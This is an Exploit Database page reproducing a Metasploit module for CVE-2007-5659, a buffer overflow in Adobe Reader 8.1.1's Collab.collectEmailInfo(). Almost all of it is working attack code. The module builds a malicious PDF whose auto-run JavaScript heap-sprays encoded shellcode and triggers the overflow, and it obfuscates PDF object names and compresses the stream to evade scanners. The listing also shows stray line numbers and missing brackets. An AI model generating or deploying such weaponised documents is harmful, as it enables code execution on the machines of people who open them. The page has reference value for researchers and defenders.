Adobe – ‘Collab.collectEmailInfo()’ Local Buffer Overflow (Metasploit)

Exploit Database
103 阅读

作者： Metasploit

日期： 2010-09-25
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/16674/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

# $Id: adobe_collectemailinfo.rb 10477 2010-09-25 11:59:02Z mc $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

require 'zlib'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'Adobe Collab.collectEmailInfo() Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional 8.1.1.

By creating a specially crafted pdf that a contains malformed Collab.collectEmailInfo() call,

an attacker may be able to execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ],

'Version'=> '$Revision: 10477 $',

'References' =>

[

[ 'CVE', '2007-5659' ],

[ 'OSVDB', '41495' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'DisablePayloadHandler' => 'true',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00",

'Platform' => 'win',

'Targets'=>

[

[ 'Adobe Reader v8.1.1 (Windows XP SP0-SP3 English)', { 'Ret' => '' } ],

'DisclosureDate' => 'Feb 8 2008',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']),

], self.class)

end

def exploit

# Encode the shellcode.

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Make some nops

nops= Rex::Text.to_unescape(make_nops(4))

# Randomize variables

rand1= rand_text_alpha(rand(100) + 1)

rand2= rand_text_alpha(rand(100) + 1)

rand3= rand_text_alpha(rand(100) + 1)

rand4= rand_text_alpha(rand(100) + 1)

rand5= rand_text_alpha(rand(100) + 1)

rand6= rand_text_alpha(rand(100) + 1)

rand7= rand_text_alpha(rand(100) + 1)

rand8= rand_text_alpha(rand(100) + 1)

rand9= rand_text_alpha(rand(100) + 1)

rand10 = rand_text_alpha(rand(100) + 1)

rand11 = rand_text_alpha(rand(100) + 1)

rand12 = rand_text_alpha(rand(100) + 1)

script = %Q|

var #{rand1} = unescape("#{shellcode}");

var #{rand2} ="";

for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");

#{rand4} = #{rand2} + #{rand1};

#{rand5} = unescape("#{nops}");

#{rand6} = 20;

#{rand7} = #{rand6}+#{rand4}.length

while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};

#{rand8} = #{rand5}.substring(0, #{rand7});

#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});

while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};

#{rand10} = new Array();

for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};

var #{rand12} = unescape("%u0c0c%u0c0c");

while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};

this.collabStore = Collab.collectEmailInfo({subj: "",msg: #{rand12}});

# Create the pdf

pdf = make_pdf(script)

print_status("Creating '#{datastore['FILENAME']}' file...")

file_create(pdf)

end

def RandomNonASCIIString(count)

result = ""

count.times do

result << (rand(128) + 128).chr

end

result

end

def ioDef(id)

"%d 0 obj" % id

end

def ioRef(id)

"%d 0 R" % id

end

#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/

def nObfu(str)

result = ""

str.scan(/./u) do |c|

if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'

result << "#%x" % c.unpack("C*")[0]

else

result << c

end

result

end

def ASCIIHexWhitespaceEncode(str)

result = ""

whitespace = ""

str.each_byte do |b|

result << whitespace << "%02x" % b

whitespace = " " * (rand(3) + 1)

end

result << ">"

end

def make_pdf(js)

xref = []

eol = "\x0d\x0a"

endobj = "endobj" << eol

# Randomize PDF version?

pdf = "%PDF-1.5" << eol

pdf << "%" << RandomNonASCIIString(4) << eol

xref << pdf.length

pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj

xref << pdf.length

pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj

xref << pdf.length

pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj

xref << pdf.length

pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj

xref << pdf.length

pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj

xref << pdf.length

compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))

pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol

pdf << "stream" << eol

pdf << compressed << eol

pdf << "endstream" << eol

pdf << endobj

xrefPosition = pdf.length

pdf << "xref" << eol

pdf << "0 %d" % (xref.length + 1) << eol

pdf << "0000000000 65535 f" << eol

xref.each do |index|

pdf << "%010d 00000 n" % index << eol

end

pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol

pdf << "startxref" << eol

pdf << xrefPosition.to_s() << eol

pdf << "%%EOF" << eol

end